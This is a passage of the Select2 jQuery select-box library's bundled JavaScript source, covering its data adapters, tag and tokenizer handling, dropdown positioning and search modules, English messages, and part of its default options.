'\u1E93': 'z', '\u1E95': 'z', '\u01B6': 'z', '\u0225': 'z', '\u0240': 'z', '\u2C6C': 'z', '\uA763': 'z', '\u0386': '\u0391', '\u0388': '\u0395', '\u0389': '\u0397', '\u038A': '\u0399', '\u03AA': '\u0399', '\u038C': '\u039F', '\u038E': '\u03A5', '\u03AB': '\u03A5', '\u038F': '\u03A9', '\u03AC': '\u03B1', '\u03AD': '\u03B5', '\u03AE': '\u03B7', '\u03AF': '\u03B9', '\u03CA': '\u03B9', '\u0390': '\u03B9', '\u03CC': '\u03BF', '\u03CD': '\u03C5', '\u03CB': '\u03C5', '\u03B0': '\u03C5', '\u03C9': '\u03C9', '\u03C2': '\u03C3' }; return diacritics; }); S2.define('select2/data/base',[ '../utils' ], function (Utils) { function BaseAdapter ($element, options) { BaseAdapter.__super__.constructor.call(this); } Utils.Extend(BaseAdapter, Utils.Observable); BaseAdapter.prototype.current = function (callback) { throw new Error('The `current` method must be defined in child classes.'); }; BaseAdapter.prototype.query = function (params, callback) { throw new Error('The `query` method must be defined in child classes.'); }; BaseAdapter.prototype.bind = function (container, $container) { // Can be implemented in subclasses }; BaseAdapter.prototype.destroy = function () { // Can be implemented in subclasses }; BaseAdapter.prototype.generateResultId = function (container, data) { var id = container.id + '-result-'; id += Utils.generateChars(4); if (data.id != null) { id += '-' + data.id.toString(); } else { id += '-' + Utils.generateChars(4); } return id; }; return BaseAdapter; }); S2.define('select2/data/select',[ './base', '../utils', 'jquery' ], function (BaseAdapter, Utils, $) { function SelectAdapter ($element, options) { this.$element = $element; this.options = options; SelectAdapter.__super__.constructor.call(this); } Utils.Extend(SelectAdapter, BaseAdapter); SelectAdapter.prototype.current = function (callback) { var data = []; var self = this; this.$element.find(':selected').each(function () { var $option = $(this); var option = self.item($option); data.push(option); }); callback(data); }; SelectAdapter.prototype.select = function (data) { var self = this; data.selected = true; // If data.element is a DOM node, use it instead if ($(data.element).is('option')) { data.element.selected = true; this.$element.trigger('change'); return; } if (this.$element.prop('multiple')) { this.current(function (currentData) { var val = []; data = [data]; data.push.apply(data, currentData); for (var d = 0; d < data.length; d++) { var id = data[d].id; if ($.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); } else { var val = data.id; this.$element.val(val); this.$element.trigger('change'); } }; SelectAdapter.prototype.unselect = function (data) { var self = this; if (!this.$element.prop('multiple')) { return; } data.selected = false; if ($(data.element).is('option')) { data.element.selected = false; this.$element.trigger('change'); return; } this.current(function (currentData) { var val = []; for (var d = 0; d < currentData.length; d++) { var id = currentData[d].id; if (id !== data.id && $.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); }; SelectAdapter.prototype.bind = function (container, $container) { var self = this; this.container = container; container.on('select', function (params) { self.select(params.data); }); container.on('unselect', function (params) { self.unselect(params.data); }); }; SelectAdapter.prototype.destroy = function () { // Remove anything added to child elements this.$element.find('*').each(function () { // Remove any custom data set by Select2 $.removeData(this, 'data'); }); }; SelectAdapter.prototype.query = function (params, callback) { var data = []; var self = this; var $options = this.$element.children(); $options.each(function () { var $option = $(this); if (!$option.is('option') && !$option.is('optgroup')) { return; } var option = self.item($option); var matches = self.matches(params, option); if (matches !== null) { data.push(matches); } }); callback({ results: data }); }; SelectAdapter.prototype.addOptions = function ($options) { Utils.appendMany(this.$element, $options); }; SelectAdapter.prototype.option = function (data) { var option; if (data.children) { option = document.createElement('optgroup'); option.label = data.text; } else { option = document.createElement('option'); if (option.textContent !== undefined) { option.textContent = data.text; } else { option.innerText = data.text; } } if (data.id !== undefined) { option.value = data.id; } if (data.disabled) { option.disabled = true; } if (data.selected) { option.selected = true; } if (data.title) { option.title = data.title; } var $option = $(option); var normalizedData = this._normalizeItem(data); normalizedData.element = option; // Override the option's data with the combined data $.data(option, 'data', normalizedData); return $option; }; SelectAdapter.prototype.item = function ($option) { var data = {}; data = $.data($option[0], 'data'); if (data != null) { return data; } if ($option.is('option')) { data = { id: $option.val(), text: $option.text(), disabled: $option.prop('disabled'), selected: $option.prop('selected'), title: $option.prop('title') }; } else if ($option.is('optgroup')) { data = { text: $option.prop('label'), children: [], title: $option.prop('title') }; var $children = $option.children('option'); var children = []; for (var c = 0; c < $children.length; c++) { var $child = $($children[c]); var child = this.item($child); children.push(child); } data.children = children; } data = this._normalizeItem(data); data.element = $option[0]; $.data($option[0], 'data', data); return data; }; SelectAdapter.prototype._normalizeItem = function (item) { if (!$.isPlainObject(item)) { item = { id: item, text: item }; } item = $.extend({}, { text: '' }, item); var defaults = { selected: false, disabled: false }; if (item.id != null) { item.id = item.id.toString(); } if (item.text != null) { item.text = item.text.toString(); } if (item._resultId == null && item.id && this.container != null) { item._resultId = this.generateResultId(this.container, item); } return $.extend({}, defaults, item); }; SelectAdapter.prototype.matches = function (params, data) { var matcher = this.options.get('matcher'); return matcher(params, data); }; return SelectAdapter; }); S2.define('select2/data/array',[ './select', '../utils', 'jquery' ], function (SelectAdapter, Utils, $) { function ArrayAdapter ($element, options) { var data = options.get('data') || []; ArrayAdapter.__super__.constructor.call(this, $element, options); this.addOptions(this.convertToOptions(data)); } Utils.Extend(ArrayAdapter, SelectAdapter); ArrayAdapter.prototype.select = function (data) { var $option = this.$element.find('option').filter(function (i, elm) { return elm.value == data.id.toString(); }); if ($option.length === 0) { $option = this.option(data); this.addOptions($option); } ArrayAdapter.__super__.select.call(this, data); }; ArrayAdapter.prototype.convertToOptions = function (data) { var self = this; var $existing = this.$element.find('option'); var existingIds = $existing.map(function () { return self.item($(this)).id; }).get(); var $options = []; // Filter out all items except for the one passed in the argument function onlyItem (item) { return function () { return $(this).val() == item.id; }; } for (var d = 0; d < data.length; d++) { var item = this._normalizeItem(data[d]); // Skip items which were pre-loaded, only merge the data if ($.inArray(item.id, existingIds) >= 0) { var $existingOption = $existing.filter(onlyItem(item)); var existingData = this.item($existingOption); var newData = $.extend(true, {}, item, existingData); var $newOption = this.option(newData); $existingOption.replaceWith($newOption); continue; } var $option = this.option(item); if (item.children) { var $children = this.convertToOptions(item.children); Utils.appendMany($option, $children); } $options.push($option); } return $options; }; return ArrayAdapter; }); S2.define('select2/data/ajax',[ './array', '../utils', 'jquery' ], function (ArrayAdapter, Utils, $) { function AjaxAdapter ($element, options) { this.ajaxOptions = this._applyDefaults(options.get('ajax')); if (this.ajaxOptions.processResults != null) { this.processResults = this.ajaxOptions.processResults; } AjaxAdapter.__super__.constructor.call(this, $element, options); } Utils.Extend(AjaxAdapter, ArrayAdapter); AjaxAdapter.prototype._applyDefaults = function (options) { var defaults = { data: function (params) { return $.extend({}, params, { q: params.term }); }, transport: function (params, success, failure) { var $request = $.ajax(params); $request.then(success); $request.fail(failure); return $request; } }; return $.extend({}, defaults, options, true); }; AjaxAdapter.prototype.processResults = function (results) { return results; }; AjaxAdapter.prototype.query = function (params, callback) { var matches = []; var self = this; if (this._request != null) { // JSONP requests cannot always be aborted if ($.isFunction(this._request.abort)) { this._request.abort(); } this._request = null; } var options = $.extend({ type: 'GET' }, this.ajaxOptions); if (typeof options.url === 'function') { options.url = options.url.call(this.$element, params); } if (typeof options.data === 'function') { options.data = options.data.call(this.$element, params); } function request () { var $request = options.transport(options, function (data) { var results = self.processResults(data, params); if (self.options.get('debug') && window.console && console.error) { // Check to make sure that the response included a `results` key. if (!results || !results.results || !Array.isArray(results.results)) { console.error( 'Select2: The AJAX results did not return an array in the ' + '`results` key of the response.' ); } } callback(results); }, function () { // Attempt to detect if a request was aborted // Only works if the transport exposes a status property if ($request.status && $request.status === '0') { return; } self.trigger('results:message', { message: 'errorLoading' }); }); self._request = $request; } if (this.ajaxOptions.delay && params.term != null) { if (this._queryTimeout) { window.clearTimeout(this._queryTimeout); } this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay); } else { request(); } }; return AjaxAdapter; }); S2.define('select2/data/tags',[ 'jquery' ], function ($) { function Tags (decorated, $element, options) { var tags = options.get('tags'); var createTag = options.get('createTag'); if (createTag !== undefined) { this.createTag = createTag; } var insertTag = options.get('insertTag'); if (insertTag !== undefined) { this.insertTag = insertTag; } decorated.call(this, $element, options); if (Array.isArray(tags)) { for (var t = 0; t < tags.length; t++) { var tag = tags[t]; var item = this._normalizeItem(tag); var $option = this.option(item); this.$element.append($option); } } } Tags.prototype.query = function (decorated, params, callback) { var self = this; this._removeOldTags(); if (params.term == null || params.page != null) { decorated.call(this, params, callback); return; } function wrapper (obj, child) { var data = obj.results; for (var i = 0; i < data.length; i++) { var option = data[i]; var checkChildren = ( option.children != null && !wrapper({ results: option.children }, true) ); var optionText = (option.text || '').toUpperCase(); var paramsTerm = (params.term || '').toUpperCase(); var checkText = optionText === paramsTerm; if (checkText || checkChildren) { if (child) { return false; } obj.data = data; callback(obj); return; } } if (child) { return true; } var tag = self.createTag(params); if (tag != null) { var $option = self.option(tag); $option.attr('data-select2-tag', true); self.addOptions([$option]); self.insertTag(data, tag); } obj.results = data; callback(obj); } decorated.call(this, params, wrapper); }; Tags.prototype.createTag = function (decorated, params) { var term = $.trim(params.term); if (term === '') { return null; } return { id: term, text: term }; }; Tags.prototype.insertTag = function (_, data, tag) { data.unshift(tag); }; Tags.prototype._removeOldTags = function (_) { var tag = this._lastTag; var $options = this.$element.find('option[data-select2-tag]'); $options.each(function () { if (this.selected) { return; } $(this).remove(); }); }; return Tags; }); S2.define('select2/data/tokenizer',[ 'jquery' ], function ($) { function Tokenizer (decorated, $element, options) { var tokenizer = options.get('tokenizer'); if (tokenizer !== undefined) { this.tokenizer = tokenizer; } decorated.call(this, $element, options); } Tokenizer.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); this.$search = container.dropdown.$search || container.selection.$search || $container.find('.select2-search__field'); }; Tokenizer.prototype.query = function (decorated, params, callback) { var self = this; function createAndSelect (data) { // Normalize the data object so we can use it for checks var item = self._normalizeItem(data); // Check if the data object already exists as a tag // Select it if it doesn't var $existingOptions = self.$element.find('option').filter(function () { return $(this).val() === item.id; }); // If an existing option wasn't found for it, create the option if (!$existingOptions.length) { var $option = self.option(item); $option.attr('data-select2-tag', true); self._removeOldTags(); self.addOptions([$option]); } // Select the item, now that we know there is an option for it select(item); } function select (data) { self.trigger('select', { data: data }); } params.term = params.term || ''; var tokenData = this.tokenizer(params, this.options, createAndSelect); if (tokenData.term !== params.term) { // Replace the search term if we have the search box if (this.$search.length) { this.$search.val(tokenData.term); this.$search.focus(); } params.term = tokenData.term; } decorated.call(this, params, callback); }; Tokenizer.prototype.tokenizer = function (_, params, options, callback) { var separators = options.get('tokenSeparators') || []; var term = params.term; var i = 0; var createTag = this.createTag || function (params) { return { id: params.term, text: params.term }; }; while (i < term.length) { var termChar = term[i]; if ($.inArray(termChar, separators) === -1) { i++; continue; } var part = term.substr(0, i); var partParams = $.extend({}, params, { term: part }); var data = createTag(partParams); if (data == null) { i++; continue; } callback(data); // Reset the term to not include the tokenized portion term = term.substr(i + 1) || ''; i = 0; } return { term: term }; }; return Tokenizer; }); S2.define('select2/data/minimumInputLength',[ ], function () { function MinimumInputLength (decorated, $e, options) { this.minimumInputLength = options.get('minimumInputLength'); decorated.call(this, $e, options); } MinimumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (params.term.length < this.minimumInputLength) { this.trigger('results:message', { message: 'inputTooShort', args: { minimum: this.minimumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MinimumInputLength; }); S2.define('select2/data/maximumInputLength',[ ], function () { function MaximumInputLength (decorated, $e, options) { this.maximumInputLength = options.get('maximumInputLength'); decorated.call(this, $e, options); } MaximumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (this.maximumInputLength > 0 && params.term.length > this.maximumInputLength) { this.trigger('results:message', { message: 'inputTooLong', args: { maximum: this.maximumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MaximumInputLength; }); S2.define('select2/data/maximumSelectionLength',[ ], function (){ function MaximumSelectionLength (decorated, $e, options) { this.maximumSelectionLength = options.get('maximumSelectionLength'); decorated.call(this, $e, options); } MaximumSelectionLength.prototype.query = function (decorated, params, callback) { var self = this; this.current(function (currentData) { var count = currentData != null ? currentData.length : 0; if (self.maximumSelectionLength > 0 && count >= self.maximumSelectionLength) { self.trigger('results:message', { message: 'maximumSelected', args: { maximum: self.maximumSelectionLength } }); return; } decorated.call(self, params, callback); }); }; return MaximumSelectionLength; }); S2.define('select2/dropdown',[ 'jquery', './utils' ], function ($, Utils) { function Dropdown ($element, options) { this.$element = $element; this.options = options; Dropdown.__super__.constructor.call(this); } Utils.Extend(Dropdown, Utils.Observable); Dropdown.prototype.render = function () { var $dropdown = $( '<span class="select2-dropdown">' + '<span class="select2-results"></span>' + '</span>' ); $dropdown.attr('dir', this.options.get('dir')); this.$dropdown = $dropdown; return $dropdown; }; Dropdown.prototype.bind = function () { // Should be implemented in subclasses }; Dropdown.prototype.position = function ($dropdown, $container) { // Should be implmented in subclasses }; Dropdown.prototype.destroy = function () { // Remove the dropdown from the DOM this.$dropdown.remove(); }; return Dropdown; }); S2.define('select2/dropdown/search',[ 'jquery', '../utils' ], function ($, Utils) { function Search () { } Search.prototype.render = function (decorated) { var $rendered = decorated.call(this); var $search = $( '<span class="select2-search select2-search--dropdown">' + '<input class="select2-search__field" type="search" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="textbox" />' + '</span>' ); this.$searchContainer = $search; this.$search = $search.find('input'); $rendered.prepend($search); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); this.$search.on('keydown', function (evt) { self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); }); // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$search.on('input', function (evt) { // Unbind the duplicated `keyup` event $(this).off('keyup'); }); this.$search.on('keyup input', function (evt) { self.handleSearch(evt); }); container.on('open', function () { self.$search.attr('tabindex', 0); self.$search.focus(); window.setTimeout(function () { self.$search.focus(); }, 0); }); container.on('close', function () { self.$search.attr('tabindex', -1); self.$search.val(''); }); container.on('focus', function () { if (!container.isOpen()) { self.$search.focus(); } }); container.on('results:all', function (params) { if (params.query.term == null || params.query.term === '') { var showSearch = self.showSearch(params); if (showSearch) { self.$searchContainer.removeClass('select2-search--hide'); } else { self.$searchContainer.addClass('select2-search--hide'); } } }); }; Search.prototype.handleSearch = function (evt) { if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.showSearch = function (_, params) { return true; }; return Search; }); S2.define('select2/dropdown/hidePlaceholder',[ ], function () { function HidePlaceholder (decorated, $element, options, dataAdapter) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options, dataAdapter); } HidePlaceholder.prototype.append = function (decorated, data) { data.results = this.removePlaceholder(data.results); decorated.call(this, data); }; HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; HidePlaceholder.prototype.removePlaceholder = function (_, data) { var modifiedData = data.slice(0); for (var d = data.length - 1; d >= 0; d--) { var item = data[d]; if (this.placeholder.id === item.id) { modifiedData.splice(d, 1); } } return modifiedData; }; return HidePlaceholder; }); S2.define('select2/dropdown/infiniteScroll',[ 'jquery' ], function ($) { function InfiniteScroll (decorated, $element, options, dataAdapter) { this.lastParams = {}; decorated.call(this, $element, options, dataAdapter); this.$loadingMore = this.createLoadingMore(); this.loading = false; } InfiniteScroll.prototype.append = function (decorated, data) { this.$loadingMore.remove(); this.loading = false; decorated.call(this, data); if (this.showLoadingMore(data)) { this.$results.append(this.$loadingMore); } }; InfiniteScroll.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('query', function (params) { self.lastParams = params; self.loading = true; }); container.on('query:append', function (params) { self.lastParams = params; self.loading = true; }); this.$results.on('scroll', function () { var isLoadMoreVisible = $.contains( document.documentElement, self.$loadingMore[0] ); if (self.loading || !isLoadMoreVisible) { return; } var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var loadingMoreOffset = self.$loadingMore.offset().top + self.$loadingMore.outerHeight(false); if (currentOffset + 50 >= loadingMoreOffset) { self.loadMore(); } }); }; InfiniteScroll.prototype.loadMore = function () { this.loading = true; var params = $.extend({}, {page: 1}, this.lastParams); params.page++; this.trigger('query:append', params); }; InfiniteScroll.prototype.showLoadingMore = function (_, data) { return data.pagination && data.pagination.more; }; InfiniteScroll.prototype.createLoadingMore = function () { var $option = $( '<li ' + 'class="select2-results__option select2-results__option--load-more"' + 'role="treeitem" aria-disabled="true"></li>' ); var message = this.options.get('translations').get('loadingMore'); $option.html(message(this.lastParams)); return $option; }; return InfiniteScroll; }); S2.define('select2/dropdown/attachBody',[ 'jquery', '../utils' ], function ($, Utils) { function AttachBody (decorated, $element, options) { this.$dropdownParent = options.get('dropdownParent') || $(document.body); decorated.call(this, $element, options); } AttachBody.prototype.bind = function (decorated, container, $container) { var self = this; var setupResultsEvents = false; decorated.call(this, container, $container); container.on('open', function () { self._showDropdown(); self._attachPositioningHandler(container); if (!setupResultsEvents) { setupResultsEvents = true; container.on('results:all', function () { self._positionDropdown(); self._resizeDropdown(); }); container.on('results:append', function () { self._positionDropdown(); self._resizeDropdown(); }); } }); container.on('close', function () { self._hideDropdown(); self._detachPositioningHandler(container); }); this.$dropdownContainer.on('mousedown', function (evt) { evt.stopPropagation(); }); }; AttachBody.prototype.destroy = function (decorated) { decorated.call(this); this.$dropdownContainer.remove(); }; AttachBody.prototype.position = function (decorated, $dropdown, $container) { // Clone all of the container classes $dropdown.attr('class', $container.attr('class')); $dropdown.removeClass('select2'); $dropdown.addClass('select2-container--open'); $dropdown.css({ position: 'absolute', top: -999999 }); this.$container = $container; }; AttachBody.prototype.render = function (decorated) { var $container = $('<span></span>'); var $dropdown = decorated.call(this); $container.append($dropdown); this.$dropdownContainer = $container; return $container; }; AttachBody.prototype._hideDropdown = function (decorated) { this.$dropdownContainer.detach(); }; AttachBody.prototype._attachPositioningHandler = function (decorated, container) { var self = this; var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.each(function () { $(this).data('select2-scroll-position', { x: $(this).scrollLeft(), y: $(this).scrollTop() }); }); $watchers.on(scrollEvent, function (ev) { var position = $(this).data('select2-scroll-position'); $(this).scrollTop(position.y); }); $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent, function (e) { self._positionDropdown(); self._resizeDropdown(); }); }; AttachBody.prototype._detachPositioningHandler = function (decorated, container) { var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.off(scrollEvent); $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent); }; AttachBody.prototype._positionDropdown = function () { var $window = $(window); var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above'); var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below'); var newDirection = null; var offset = this.$container.offset(); offset.bottom = offset.top + this.$container.outerHeight(false); var container = { height: this.$container.outerHeight(false) }; container.top = offset.top; container.bottom = offset.top + container.height; var dropdown = { height: this.$dropdown.outerHeight(false) }; var viewport = { top: $window.scrollTop(), bottom: $window.scrollTop() + $window.height() }; var enoughRoomAbove = viewport.top < (offset.top - dropdown.height); var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height); var css = { left: offset.left, top: container.bottom }; // Determine what the parent element is to use for calciulating the offset var $offsetParent = this.$dropdownParent; // For statically positoned elements, we need to get the element // that is determining the offset if ($offsetParent.css('position') === 'static') { $offsetParent = $offsetParent.offsetParent(); } var parentOffset = $offsetParent.offset(); css.top -= parentOffset.top; css.left -= parentOffset.left; if (!isCurrentlyAbove && !isCurrentlyBelow) { newDirection = 'below'; } if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) { newDirection = 'above'; } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) { newDirection = 'below'; } if (newDirection == 'above' || (isCurrentlyAbove && newDirection !== 'below')) { css.top = container.top - parentOffset.top - dropdown.height; } if (newDirection != null) { this.$dropdown .removeClass('select2-dropdown--below select2-dropdown--above') .addClass('select2-dropdown--' + newDirection); this.$container .removeClass('select2-container--below select2-container--above') .addClass('select2-container--' + newDirection); } this.$dropdownContainer.css(css); }; AttachBody.prototype._resizeDropdown = function () { var css = { width: this.$container.outerWidth(false) + 'px' }; if (this.options.get('dropdownAutoWidth')) { css.minWidth = css.width; css.position = 'relative'; css.width = 'auto'; } this.$dropdown.css(css); }; AttachBody.prototype._showDropdown = function (decorated) { this.$dropdownContainer.appendTo(this.$dropdownParent); this._positionDropdown(); this._resizeDropdown(); }; return AttachBody; }); S2.define('select2/dropdown/minimumResultsForSearch',[ ], function () { function countResults (data) { var count = 0; for (var d = 0; d < data.length; d++) { var item = data[d]; if (item.children) { count += countResults(item.children); } else { count++; } } return count; } function MinimumResultsForSearch (decorated, $element, options, dataAdapter) { this.minimumResultsForSearch = options.get('minimumResultsForSearch'); if (this.minimumResultsForSearch < 0) { this.minimumResultsForSearch = Infinity; } decorated.call(this, $element, options, dataAdapter); } MinimumResultsForSearch.prototype.showSearch = function (decorated, params) { if (countResults(params.data.results) < this.minimumResultsForSearch) { return false; } return decorated.call(this, params); }; return MinimumResultsForSearch; }); S2.define('select2/dropdown/selectOnClose',[ ], function () { function SelectOnClose () { } SelectOnClose.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('close', function (params) { self._handleSelectOnClose(params); }); }; SelectOnClose.prototype._handleSelectOnClose = function (_, params) { if (params && params.originalSelect2Event != null) { var event = params.originalSelect2Event; // Don't select an item if the close event was triggered from a select or // unselect event if (event._type === 'select' || event._type === 'unselect') { return; } } var $highlightedResults = this.getHighlightedResults(); // Only select highlighted results if ($highlightedResults.length < 1) { return; } var data = $highlightedResults.data('data'); // Don't re-select already selected resulte if ( (data.element != null && data.element.selected) || (data.element == null && data.selected) ) { return; } this.trigger('select', { data: data }); }; return SelectOnClose; }); S2.define('select2/dropdown/closeOnSelect',[ ], function () { function CloseOnSelect () { } CloseOnSelect.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('select', function (evt) { self._selectTriggered(evt); }); container.on('unselect', function (evt) { self._selectTriggered(evt); }); }; CloseOnSelect.prototype._selectTriggered = function (_, evt) { var originalEvent = evt.originalEvent; // Don't close if the control key is being held if (originalEvent && originalEvent.ctrlKey) { return; } this.trigger('close', { originalEvent: originalEvent, originalSelect2Event: evt }); }; return CloseOnSelect; }); S2.define('select2/i18n/en',[],function () { // English return { errorLoading: function () { return 'The results could not be loaded.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Please delete ' + overChars + ' character'; if (overChars != 1) { message += 's'; } return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Please enter ' + remainingChars + ' or more characters'; return message; }, loadingMore: function () { return 'Loading more results…'; }, maximumSelected: function (args) { var message = 'You can only select ' + args.maximum + ' item'; if (args.maximum != 1) { message += 's'; } return message; }, noResults: function () { return 'No results found'; }, searching: function () { return 'Searching…'; } }; }); S2.define('select2/defaults',[ 'jquery', 'require', './results', './selection/single', './selection/multiple', './selection/placeholder', './selection/allowClear', './selection/search', './selection/eventRelay', './utils', './translation', './diacritics', './data/select', './data/array', './data/ajax', './data/tags', './data/tokenizer', './data/minimumInputLength', './data/maximumInputLength', './data/maximumSelectionLength', './dropdown', './dropdown/search', './dropdown/hidePlaceholder', './dropdown/infiniteScroll', './dropdown/attachBody', './dropdown/minimumResultsForSearch', './dropdown/selectOnClose', './dropdown/closeOnSelect', './i18n/en' ], function ($, require, ResultsList, SingleSelection, MultipleSelection, Placeholder, AllowClear, SelectionSearch, EventRelay, Utils, Translation, DIACRITICS, SelectData, ArrayData, AjaxData, Tags, Tokenizer, MinimumInputLength, MaximumInputLength, MaximumSelectionLength, Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll, AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect, EnglishTranslation) { function Defaults () { this.reset(); } Defaults.prototype.apply = function (options) { options = $.extend(true, {}, this.defaults, options); if (options.dataAdapter == null) { if (options.ajax != null) { options.dataAdapter = AjaxData; } else if (options.data != null) { options.dataAdapter = ArrayData; } else { options.dataAdapter = SelectData; } if (options.minimumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MinimumInputLength ); } if (options.maximumInputLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumInputLength ); } if (options.maximumSelectionLength > 0) { options.dataAdapter = Utils.Decorate( options.dataAdapter, MaximumSelectionLength ); } if (options.tags) { options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags); } if (options.tokenSeparators != null || options.tokenizer != null) { options.dataAdapter = Utils.Decorate( options.dataAdapter, Tokenizer ); } if (options.query != null) { var Query = require(options.amdBase + 'compat/query'); options.dataAdapter = Utils.Decorate( options.dataAdapter, Query ); } if (options.initSelection != null) { var InitSelection = require(options.amdBase + 'compat/initSelection'); options.dataAdapter = Utils.Decorate( options.dataAdapter, InitSelection ); } } if (options.resultsAdapter == null) { options.resultsAdapter = ResultsList; if (options.ajax != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, InfiniteScroll ); } if (options.placeholder != null) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, HidePlaceholder ); } if (options.selectOnClose) { options.resultsAdapter = Utils.Decorate( options.resultsAdapter, SelectOnClose ); } } if (options.dropdownAdapter == null) { if (options.multiple) { options.dropdownAdapter = Dropdown; } else { var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch); options.dropdownAdapter = SearchableDropdown; } if (options.minimumResultsForSearch !== 0) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, MinimumResultsForSearch ); } if (options.closeOnSelect) { options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, CloseOnSelect ); } if ( options.dropdownCssClass != null || options.dropdownCss != null || options.adaptDropdownCssClass != null ) { var DropdownCSS = require(options.amdBase + 'compat/dropdownCss'); options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, DropdownCSS ); } options.dropdownAdapter = Utils.Decorate( options.dropdownAdapter, AttachBody ); } if (options.selectionAdapter == null) { if (options.multiple) { options.selectionAdapter = MultipleSelection; } else { options.selectionAdapter = SingleSelection; } // Add the placeholder mixin if a placeholder was specified if (options.placeholder != null) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, Placeholder ); } if (options.allowClear) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, AllowClear ); } if (options.multiple) { options.selectionAdapter = Utils.Decorate( options.selectionAdapter, SelectionSearch ); } if ( options.containerCssClass != null || options.containerCss != null || options.adaptContainerCssClass != null ) { var ContainerCSS = require(options.amdBase + 'compat/containerCss'); options.selectionAdapter = Utils.Decorate( options.selectionAdapter, ContainerCSS ); } options.selectionAdapter = Utils.Decorate( options.selectionAdapter, EventRelay ); } if (typeof options.language === 'string') { // Check if the language is specified with a region if (options.language.indexOf('-') > 0) { // Extract the region information if it is included var languageParts = options.language.split('-'); var baseLanguage = languageParts[0]; options.language = [options.language, baseLanguage]; } else { options.language = [options.language]; } } if (Array.isArray(options.language)) { var languages = new Translation(); options.language.push('en'); var languageNames = options.language; for (var l = 0; l < languageNames.length; l++) { var name = languageNames[l]; var language = {}; try { // Try to load it with the original name language = Translation.loadPath(name); } catch (e) { try { // If we couldn't load it, check if it wasn't the full path name = this.defaults.amdLanguageBase + name; language = Translation.loadPath(name); } catch (ex) { // The translation could not be loaded at all. Sometimes this is // because of a configuration problem, other times this can be // because of how Select2 helps load all possible translation files. if (options.debug && window.console && console.warn) { console.warn( 'Select2: The language file for "' + name + '" could not be ' + 'automatically loaded. A fallback will be used instead.' ); } continue; } } languages.extend(language); } options.translations = languages; } else { var baseTranslation = Translation.loadPath( this.defaults.amdLanguageBase + 'en' ); var customTranslation = new Translation(options.language); customTranslation.extend(baseTranslation); options.translations = customTranslation; } return options; }; Defaults.prototype.reset = function () { function stripDiacritics (text) { // Used 'uni range + named function' from http://jsperf.com/diacritics/18 function match(a) { return DIACRITICS[a] || a; } // Regex to replace unicode range with match. return text.replace(/[^\u0000-\u007E]/g, match); } function matcher (params, data) { // Always return the object if there is nothing to compare if ($.trim(params.term) === '') { return data; } // Do a recursive check for options with children if (data.children && data.children.length > 0) { // Clone the data object if there are children // This is required as we modify the object to remove any non-matches var match = $.extend(true, {}, data); // Check each child of the option for (var c = data.children.length - 1; c >= 0; c--) { var child = data.children[c]; var matches = matcher(params, child); // If there wasn't a match, remove the object in the array if (matches == null) { match.children.splice(c, 1); } } // If any children matched, return the new object if (match.children.length > 0) { return match; } // If there were no matching children, check just the plain object return matcher(params, match); } var original = stripDiacritics(data.text).toUpperCase(); var term = stripDiacritics(params.term).toUpperCase(); // Check if the text contains the term if (original.indexOf(term) > -1) { return data; } // If it doesn't contain the term, don't return anything return null; } this.defaults = { amdBase: './', amdLanguageBase: './i18n/', closeOnSelect: true, debug: false, dropdownAutoWidth: false, escapeMarkup: Utils.escapeMarkup, language: EnglishTranslation, matcher: matcher, minimumInputLength: 0, maximumInputLength: 0, maximumSelectionLength: 0, minimumResultsForSearch: 0, selectOnClose: false, sorter: function (data) { return data; }, templateResult: function (result) 